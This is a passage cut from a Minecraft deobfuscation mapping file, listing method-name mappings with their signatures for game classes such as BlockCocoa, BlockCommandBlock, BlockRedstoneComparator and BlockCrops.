(Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockCocoa/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockCocoa/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockCocoa/getSelectedBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockCocoa/func_180646_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockCocoa/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockCocoa/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockCocoa/grow (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockCocoa/func_176474_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockCocoa/isOpaqueCube ()Z net/minecraft/block/BlockCocoa/func_149662_c ()Z +MD: net/minecraft/block/BlockCocoa/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockCocoa/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockCocoa/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockCocoa/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockCocoa/isFullCube ()Z net/minecraft/block/BlockCocoa/func_149686_d ()Z +MD: net/minecraft/block/BlockCocoa/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockCocoa/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockCocoa/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockCocoa/func_176499_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockCocoa/dropBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockCocoa/func_176500_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockCocoa/getDamageValue (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockCocoa/func_176222_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockCocoa/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockCocoa/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockColored/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockColored/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockColored/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockColored/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockColored/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockColored/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockColored/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockColored/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockColored/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockColored/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockColored/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockColored/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockCommandBlock/hasComparatorInputOverride ()Z net/minecraft/block/BlockCommandBlock/func_149740_M ()Z +MD: net/minecraft/block/BlockCommandBlock/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockCommandBlock/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockCommandBlock/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockCommandBlock/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockCommandBlock/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockCommandBlock/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockCommandBlock/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockCommandBlock/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockCommandBlock/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockCommandBlock/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockCommandBlock/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockCommandBlock/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockCommandBlock/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockCommandBlock/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockCommandBlock/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockCommandBlock/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockCommandBlock/getRenderType ()I net/minecraft/block/BlockCommandBlock/func_149645_b ()I +MD: net/minecraft/block/BlockCommandBlock/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockCommandBlock/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockCommandBlock/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockCommandBlock/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockCommandBlock/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockCommandBlock/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockCommandBlock/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockCommandBlock/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockRedstoneComparator$1/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/block/BlockRedstoneComparator$1/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/block/BlockRedstoneComparator$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockRedstoneComparator$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockRedstoneComparator$Mode/getName ()Ljava/lang/String; net/minecraft/block/BlockRedstoneComparator$Mode/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockRedstoneComparator$Mode/toString ()Ljava/lang/String; net/minecraft/block/BlockRedstoneComparator$Mode/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockRedstoneComparator$Mode/values ()[Lnet/minecraft/block/BlockRedstoneComparator$Mode; net/minecraft/block/BlockRedstoneComparator$Mode/values ()[Lnet/minecraft/block/BlockRedstoneComparator$Mode; +MD: net/minecraft/block/BlockRedstoneComparator/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneComparator/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneComparator/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockRedstoneComparator/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockRedstoneComparator/onBlockEventReceived (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;II)Z net/minecraft/block/BlockRedstoneComparator/func_180648_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;II)Z +MD: net/minecraft/block/BlockRedstoneComparator/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockRedstoneComparator/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockRedstoneComparator/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneComparator/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneComparator/findItemFrame (Lnet/minecraft/world/World;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/item/EntityItemFrame; net/minecraft/block/BlockRedstoneComparator/func_176461_a (Lnet/minecraft/world/World;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/item/EntityItemFrame; +MD: net/minecraft/block/BlockRedstoneComparator/getActiveSignal (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneComparator/func_176408_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneComparator/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockRedstoneComparator/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockRedstoneComparator/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneComparator/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneComparator/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRedstoneComparator/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRedstoneComparator/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockRedstoneComparator/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockRedstoneComparator/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneComparator/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneComparator/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneComparator/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneComparator/getDelay (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneComparator/func_176403_d (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneComparator/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockRedstoneComparator/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockRedstoneComparator/shouldBePowered (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockRedstoneComparator/func_176404_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockRedstoneComparator/getPoweredState (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneComparator/func_180674_e (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneComparator/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockRedstoneComparator/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockRedstoneComparator/calculateInputStrength (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneComparator/func_176397_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneComparator/updateState (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneComparator/func_176398_g (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneComparator/calculateOutput (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneComparator/func_176460_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneComparator/onStateChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneComparator/func_176462_k (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneComparator/getUnpoweredState (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneComparator/func_180675_k (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneComparator/isPowered (Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockRedstoneComparator/func_176406_l (Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/getName ()Ljava/lang/String; net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/getGuiID ()Ljava/lang/String; net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/hasCustomName ()Z net/minecraft/block/BlockWorkbench$InterfaceCraftingTable/func_145818_k_ ()Z +MD: net/minecraft/block/BlockWorkbench/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockWorkbench/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockCrops/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockCrops/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockCrops/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockCrops/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockCrops/canGrow (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/BlockCrops/func_176473_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/BlockCrops/canUseBonemeal (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockCrops/func_180670_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockCrops/getGrowthChance (Lnet/minecraft/block/Block;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)F net/minecraft/block/BlockCrops/func_180672_a (Lnet/minecraft/block/Block;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)F +MD: net/minecraft/block/BlockCrops/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockCrops/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockCrops/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockCrops/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockCrops/grow (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockCrops/func_176474_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockCrops/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockCrops/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockCrops/canPlaceBlockOn (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockCrops/func_149854_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockCrops/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockCrops/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockCrops/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockCrops/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockCrops/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockCrops/func_180671_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockCrops/grow (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockCrops/func_176487_g (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockCrops/getSeed ()Lnet/minecraft/item/Item; net/minecraft/block/BlockCrops/func_149866_i ()Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockCrops/getCrop ()Lnet/minecraft/item/Item; net/minecraft/block/BlockCrops/func_149865_P ()Lnet/minecraft/item/Item; +MD: net/minecraft/command/CommandDifficulty/getRequiredPermissionLevel ()I net/minecraft/command/CommandDifficulty/func_82362_a ()I +MD: net/minecraft/command/CommandDifficulty/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandDifficulty/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandDifficulty/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandDifficulty/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandDifficulty/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandDifficulty/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandDifficulty/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandDifficulty/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandDifficulty/getDifficultyFromCommand (Ljava/lang/String;)Lnet/minecraft/world/EnumDifficulty; net/minecraft/command/CommandDifficulty/func_180531_e (Ljava/lang/String;)Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/block/BlockDaylightDetector/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockDaylightDetector/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockDaylightDetector/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockDaylightDetector/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockDaylightDetector/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockDaylightDetector/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockDaylightDetector/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockDaylightDetector/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockDaylightDetector/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockDaylightDetector/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockDaylightDetector/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockDaylightDetector/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockDaylightDetector/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockDaylightDetector/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockDaylightDetector/getRenderType ()I net/minecraft/block/BlockDaylightDetector/func_149645_b ()I +MD: net/minecraft/block/BlockDaylightDetector/isOpaqueCube ()Z net/minecraft/block/BlockDaylightDetector/func_149662_c ()Z +MD: net/minecraft/block/BlockDaylightDetector/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockDaylightDetector/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockDaylightDetector/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockDaylightDetector/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockDaylightDetector/isFullCube ()Z net/minecraft/block/BlockDaylightDetector/func_149686_d ()Z +MD: net/minecraft/block/BlockDaylightDetector/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockDaylightDetector/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockDaylightDetector/updatePower (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockDaylightDetector/func_180677_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockDaylightDetector/canProvidePower ()Z net/minecraft/block/BlockDaylightDetector/func_149744_f ()Z +MD: net/minecraft/block/BlockDeadBush/isReplaceable (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockDeadBush/func_176200_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockDeadBush/harvestBlock (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/block/BlockDeadBush/func_180657_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/block/BlockDeadBush/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockDeadBush/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockDeadBush/canPlaceBlockOn (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockDeadBush/func_149854_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockDeadBush/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockDeadBush/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockRailDetector$1/apply (Lnet/minecraft/block/BlockRailBase$EnumRailDirection;)Z net/minecraft/block/BlockRailDetector$1/apply 